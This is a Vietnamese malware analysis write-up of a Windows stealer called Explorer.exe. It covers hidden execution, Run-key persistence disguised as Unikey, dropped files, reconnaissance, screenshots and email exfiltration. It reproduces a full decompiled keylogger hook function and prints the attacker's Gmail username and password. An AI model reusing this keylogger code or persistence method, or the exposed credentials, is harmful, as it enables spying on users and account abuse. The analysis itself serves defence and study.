---
# System prepended metadata

title: Explorer.exe

---

# Explorer.exe

## Tổng quan mã độc

Loại: `PE32`
Kích thước: `186 KB (190,464 bytes)`
MD5: `dabdca8db4420e0b0121b48130d2f4a6`
SHA1: `9135cd7cebefdb79ef6fc21d5fdea5b170689508`
Hành vi:
- Chạy ngầm và ẩn ứng dụng bằng
- Tạo thư mục cho mã độc bên trong thư mục appdata của hệ thống
- Persistence bằng việc tạo RegKey
- Drop file PE
- Drop DLL
- Recon máy, lấy thông tin CPU và các phần mềm được cài đặt trong máy
- Keylogger
- Screenshot
- Gửi mail chứa thông tin lấy được về cho hacker

## Phân tích chi tiết

### Mã độc ẩn chạy dưới nền

![image](https://hackmd.io/_uploads/rJ06daFkR.png)

đoạn code này cho phép mã độc chạy mà không tạo ra bất kì cửa sổ nào.

### Mã độc tạo một thư mục hidden "Explorer" bên trong thư mục APPDATA của hệ thống

![image](https://hackmd.io/_uploads/SyLx5pFJC.png)

### Persistence, khởi động cùng hệ thống

![image](https://hackmd.io/_uploads/HkI2gRFy0.png)

Mã độc copy chính nó vào thư mục mà nó vừa tạo ở trong thư mục APPDATA, lưu tên thành `Unikey.exe`. Tạo registry tại `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` với tên là `Unikey NT` và giá trị là đường dẫn của file mà mã độc vừa copy vừa thư mục `$APPDATA\Explorer`. Mục đích để mã độc tự khởi động cùng hệ thống

### Mã độc drop PE file từ resource của file

Mã độc load resource sau đó tạo một file PE trong `$APPDATA\Explorer` có tên là `Transfer.exe`
![image](https://hackmd.io/_uploads/Bkxt4AFyC.png)

### Mã độc thực hiện hành vi recon, lấy thông tin máy nạn nhân

Lấy thông tin vi xử lý:
![image](https://hackmd.io/_uploads/SJnSDRYJC.png)

Lấy thông tin danh sách phần mềm được cài đặt:
![image](https://hackmd.io/_uploads/B1ZcwAFyC.png)

### Mã độc drop DLL file + thực hiện hành vi keylogger

![image](https://hackmd.io/_uploads/S1lJjVqJC.png)

drop file KeyLog.dll vào thư mục của mã độc, sử dụng hook để keylogger

```c
LRESULT __stdcall FillKeyboard(int nCode, WPARAM wParam, unsigned int lParam)
{
  LPARAM v4; // esi
  HWND ForegroundWindow; // esi
  const char *v6; // [esp-Ch] [ebp-230h]
  FILE *Stream; // [esp+4h] [ebp-220h] BYREF
  struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-21Ch] BYREF
  CHAR String[260]; // [esp+18h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+11Ch] [ebp-108h] BYREF

  if ( nCode < 0 )
    return CallNextHookEx(hhk, nCode, wParam, lParam);
  Stream = 0;
  memset(pszPath, 0, sizeof(pszPath));
  GetLocalTime(&SystemTime);
  v4 = lParam;
  if ( !nCode && lParam < 0x80000000 )
  {
    if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) < 0 )
      return CallNextHookEx(hhk, 0, wParam, lParam);
    strcat_s(pszPath, 0x104u, "\\Explorer");
    CreateDirectoryA(pszPath, 0);
    strcat_s(pszPath, 0x104u, "\\Log.txt");
    dword_10015F78 = dword_10015F7C;
    ForegroundWindow = GetForegroundWindow();
    dword_10015F7C = (int)ForegroundWindow;
    if ( (HWND)dword_10015F78 != ForegroundWindow )
    {
      memset(String, 0, sizeof(String));
      GetWindowTextA(ForegroundWindow, String, 260);
      if ( !fopen_s(&Stream, pszPath, "a+") )
      {
        fprintf(Stream, "\n------------------------%s------------------------ ", String);
        fprintf(
          Stream,
          "%d-%d-%d %d:%d:%d\n",
          SystemTime.wDay,
          SystemTime.wMonth,
          SystemTime.wYear,
          SystemTime.wHour,
          SystemTime.wMinute,
          SystemTime.wSecond);
        fclose(Stream);
      }
    }
    switch ( wParam )
    {
      case 1u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "LBUTTON";
          goto LABEL_101;
        }
        break;
      case 2u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "RBUTTON";
          goto LABEL_101;
        }
        break;
      case 3u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "CANCEL";
          goto LABEL_101;
        }
        break;
      case 4u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "MBUTTON";
          goto LABEL_101;
        }
        break;
      case 8u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "BACKSPACE";
          goto LABEL_101;
        }
        break;
      case 9u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "TAB";
          goto LABEL_101;
        }
        break;
      case 0xCu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "5 no NUMLOCK";
          goto LABEL_101;
        }
        break;
      case 0xDu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[%s]\n", "ENTER");
          goto LABEL_102;
        }
        break;
      case 0x10u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "SHIFT";
          goto LABEL_101;
        }
        break;
      case 0x11u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "CTRL";
          goto LABEL_101;
        }
        break;
      case 0x12u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "ALT";
          goto LABEL_101;
        }
        break;
      case 0x13u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "PAUSE";
          goto LABEL_101;
        }
        break;
      case 0x14u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "CapLock";
          goto LABEL_101;
        }
        break;
      case 0x1Bu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "ESC";
          goto LABEL_101;
        }
        break;
      case 0x20u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "SPACE";
          goto LABEL_101;
        }
        break;
      case 0x21u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "Page Up";
          goto LABEL_101;
        }
        break;
      case 0x22u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "Page Down";
          goto LABEL_101;
        }
        break;
      case 0x23u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "END";
          goto LABEL_101;
        }
        break;
      case 0x24u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "HOME";
          goto LABEL_101;
        }
        break;
      case 0x25u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "LEFT";
          goto LABEL_101;
        }
        break;
      case 0x26u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "UP";
          goto LABEL_101;
        }
        break;
      case 0x27u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "RIGHT";
          goto LABEL_101;
        }
        break;
      case 0x28u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "DOWN";
          goto LABEL_101;
        }
        break;
      case 0x2Cu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "Print Screen";
          goto LABEL_101;
        }
        break;
      case 0x2Du:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "Insert";
          goto LABEL_101;
        }
        break;
      case 0x2Eu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "Delete";
          goto LABEL_101;
        }
        break;
      case 0x6Au:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "*");
          goto LABEL_64;
        }
        break;
      case 0x6Bu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "+");
          goto LABEL_64;
        }
        break;
      case 0x6Du:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "-");
          goto LABEL_64;
        }
        break;
      case 0x6Eu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, ".");
          goto LABEL_64;
        }
        break;
      case 0x6Fu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "/");
          goto LABEL_64;
        }
        break;
      case 0x70u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F1]");
          goto LABEL_64;
        }
        break;
      case 0x71u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F2]");
          goto LABEL_64;
        }
        break;
      case 0x72u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F3]");
          goto LABEL_64;
        }
        break;
      case 0x73u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F4]");
          goto LABEL_64;
        }
        break;
      case 0x74u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F5]");
          goto LABEL_64;
        }
        break;
      case 0x75u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F6]");
          goto LABEL_64;
        }
        break;
      case 0x76u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F7]");
          goto LABEL_64;
        }
        break;
      case 0x77u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F8]");
          goto LABEL_64;
        }
        break;
      case 0x78u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F9]");
          goto LABEL_64;
        }
        break;
      case 0x79u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F10]");
          goto LABEL_64;
        }
        break;
      case 0x7Au:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F11]");
          goto LABEL_64;
        }
        break;
      case 0x7Bu:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          fprintf(Stream, "[F12]");
LABEL_64:
          fclose(Stream);
        }
        break;
      case 0x90u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "NumLock";
          goto LABEL_101;
        }
        break;
      case 0x91u:
        if ( !fopen_s(&Stream, pszPath, "a+") )
        {
          v6 = "ScrollLock";
LABEL_101:
          fprintf(Stream, "[%s]", v6);
LABEL_102:
          fclose(Stream);
        }
        break;
      default:
        break;
    }
    if ( wParam - 48 <= 9 && !fopen_s(&Stream, pszPath, "a+") )
    {
      fprintf(Stream, "%d", wParam - 48);
      fclose(Stream);
    }
    if ( wParam - 65 <= 0x19 && !fopen_s(&Stream, pszPath, "a+") )
    {
      fprintf(Stream, "%c", wParam);
      fclose(Stream);
    }
    if ( wParam - 96 <= 9 && !fopen_s(&Stream, pszPath, "a+") )
    {
      fprintf(Stream, "[%d with NUMLOCK]", wParam - 96);
      fclose(Stream);
    }
    v4 = lParam;
  }
  return CallNextHookEx(hhk, nCode, wParam, v4);
}
```

log lại ứng dụng đang được active sử dụng keyboard và time

### chụp ảnh màn hình

![image](https://hackmd.io/_uploads/rJtu1rqJR.png)

lưu ảnh `screen.jpeg`

### Gửi email chứa thông tin đã thu thập được cho attacker

![image](https://hackmd.io/_uploads/ry5peB9k0.png)

`MultiByteStr` là đường dẫn của file tranfer.exe mà mã độc đã drop. Đây là một file PE .net, tiến hành phân tích file này:

![image](https://hackmd.io/_uploads/BkZGQBcyC.png)

Sử dụng cred `anhthc95@gmail.com:123456789@A` gửi email đến `hunganh1803@gmail.com` chứa file log keylogger, ảnh chụp màn hình, systeminfo log.







